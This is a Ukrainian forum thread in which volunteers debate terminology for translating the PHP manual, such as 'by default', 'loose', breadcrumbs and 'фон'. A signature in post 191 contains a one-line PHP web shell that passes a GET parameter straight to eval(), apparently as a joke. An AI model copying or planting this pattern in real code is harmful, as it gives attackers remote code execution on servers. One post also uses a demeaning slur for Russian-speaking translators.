181 Востаннє редагувалося ktretyak (16.01.2015 21:11:09)

Re: Українізувати мануал сайту PHP

Я перекладав:
strict/loose -> строге/м'яке
case-sensitive -> регістро-чутливе

Про уніфікацію коду з вами повністю погоджуюсь. Я бачив що ви by default перекладаєте як за замовчуванням. Я його переправляю в залежності від контекста на початково або ж як початкове [мається на увазі значення]

182

Re: Українізувати мануал сайту PHP

ktretyak написав:

Я перекладав:
strict/loose -> строге/м'яке
case-sensitive -> регістро-чутливе

Про уніфікацію коду з вами повністю погоджуюсь. Я бачив що ви by default перекладаєте як за замовчуванням. Я його переправляю в залежності від контекста на початково або ж як початкове [мається на увазі значення]

Добре, тоді я виправлю типізоване і не типізоване.

183

Re: Українізувати мануал сайту PHP

як варіант чутливе до регістру чи регістрочутливе, хай не різниться з різнобарвним

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»

184 Востаннє редагувалося Sensetivity (17.01.2015 19:13:53)

Re: Українізувати мануал сайту PHP

Перекладено 5.02%  :[

До речі, чого в нашому посібнику хлібні крихти зроблені під американський манер?
Я про:

Посібник по PHP Довідник Функцій Розширення, що Відносяться до Змінних та Типів Масиви Функції для роботи з масивами

https://uk.wikipedia.org/wiki/%D0%A3%D0 … 0%B2%D1%96

185

Re: Українізувати мануал сайту PHP

Sensetivity написав:

Перекладено 5.02%  :[

До речі, чого в нашому посібнику хлібні крихти зроблені під американський манер?
Я про:

Посібник по PHP Довідник Функцій Розширення, що Відносяться до Змінних та Типів Масиви Функції для роботи з масивами

https://uk.wikipedia.org/wiki/%D0%A3%D0 … 0%B2%D1%96

Думаю що не правильно і в самому онлайн-редаторі вказують відсоток перекладу саме від кількості сторінок. Правильніше дивитись на відсоток перекладу від об'єму...

Стосовно "хлібних крихт". А чому ви це дослівно перекладаєте від "американського" breadcrumbs? Я називаю це навігаційним маршрутом, бо така назва є незрівнянно більш інформативнішою, ніж "хлібні крихти".

Чому з великої літери? Взагалі-то можна й переправити. Тільки мені здається нормально, що кожен заголовок окремого розділу пишеться з великої літери. Хіба ні?

186 Востаннє редагувалося Private (24.02.2015 18:20:14)

Re: Українізувати мануал сайту PHP

Добрий день долучаюсь до перекладу.
Є такі пропозиції:
1. Створити прості чіткі інструкції для тих хто хоче перекладати.
2. Залучати людей які не лише знайомі з англійською. А і тих хто може перекладати з російської.(я вважаю таких набагато більше)
3. Перекладати спочатку найбільш важливі статті.

187

Re: Українізувати мануал сайту PHP

2. Залучати людей які не лише знайомі з англійською. А і тих хто може перекладати з російської.(я вважаю таких набагато більше)

Не мені керувати процесом перекладу, але в 2015 році в середовище айтішників це називається лінгвоінваліди - родичі азірова.

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»
Подякували: koala1

188 Востаннє редагувалося ktretyak (24.02.2015 18:17:20)

Re: Українізувати мануал сайту PHP

Що саме ви хочете прочитати в лісті від мене?

Якщо ви про лінк на онлайн-редактор, то ось він.

Я взагалі то проти того, щоб перекладати з російської, бо в них далеко не завжди точний переклад. Але, звичайно ж, це краще ніж нічого.

Стосовно створення простих і чітких інструкцій, то їх можна почитати перейшовши по лінкам, які є, зокрема, в онлайн-редакторі.

Здається, що не логічно перекладати якісь важливі частини з середини, коли із самого початку не перекладено азів. Тобто перекладати мабуть треба просто послідовно.

P.S. Перше правило, яке зразу я згадав by default перекладати в залежності від контексту початково, або як початкове [маючи на увазі значення]. Потрібно нарешті покінчити із цими "за замовчуваннями, за промовчаннями та типовими"

Подякували: Private1

189

Re: Українізувати мануал сайту PHP

Ну якщо людина добре володіє українською,російською, і початківець в англійській, то я не вважаю що переклад не буде вдалим. А швидкість перекладу значно зросте.(як і актуальність інформації) + дехто може перевіряти відповідність з англійською версією.

Подякували: ktretyak1

190 Востаннє редагувалося ktretyak (24.02.2015 18:25:19)

Re: Українізувати мануал сайту PHP

Private написав:

Ну якщо людина добре володіє українською,російською, і початківець в англійській, то я не вважаю що переклад не буде вдалим. А швидкість перекладу значно зросте.(як і актуальність інформації) + дехто може перевіряти відповідність з англійською версією.

Мабуть ви праві. Саме так - потрібно щоб людина була хоча б початківець в англійській. Тут більш важливо, щоб був достатній словниковий запас українською та щоб перекладач розбирався в PHP.

Подякували: Private1

191

Re: Українізувати мануал сайту PHP

strict/loose -> строге/м'яке

О хоспаді!

1. ві́льний, незакрі́плений (про кінець тощо) || вивільня́ти/ви́вільнити, відпуска́ти/відпусти́ти, послабля́ти/посла́бити 2. рухо́мий (про вісь тощо) 3. (про вислів тощо) нето́чний, неви́значений, нечітки́й 4. нещі́льний || нещі́льно, ві́льно

http://e2u.org.ua/s?w=loose&dicts=a … ghlight=on
Цікаво, хто в Windows 7 переклав напис Start на кнопці "Пуск" як запустити?

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

192

Re: Українізувати мануал сайту PHP

До речі, там на сайті питання про слово фон, так от українською це тло, а фон залиште для німецьких прізвищ, наприклад - Леопольд фон Захер-Мазох.

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»

193

Re: Українізувати мануал сайту PHP

P.S. Перше правило, яке зразу я згадав by default перекладати в залежності від контексту початково, або як початкове [маючи на увазі значення]. Потрібно нарешті покінчити із цими "за замовчуваннями, за промовчаннями та типовими"

«За замовчуванням» — це «by default», а «початково» - це «initially». «Коли не задано іншого» і «від початку роботи» — й близько не синоніми, попри те, що початкове значення справді може лишатися значенням за замовчуванням, якщо його ніде не змінять. Можемо пошукати приклади, коли ці слова передають різний зміст в одному контексті.

До речі, там на сайті питання про слово фон, так от українською це тло, а фон залиште для німецьких прізвищ, наприклад - Леопольд фон Захер-Мазох.

У контексті образотворчого мистецтва — здебільшого так, але як бути з «фоновим процесом»? Якось поки що не бачив прикладів вживання «тлового процесу» чи «процесу на тлі».

py -3 -m pip install git+https://github.com/snoack/python-goto
Подякували: leofun011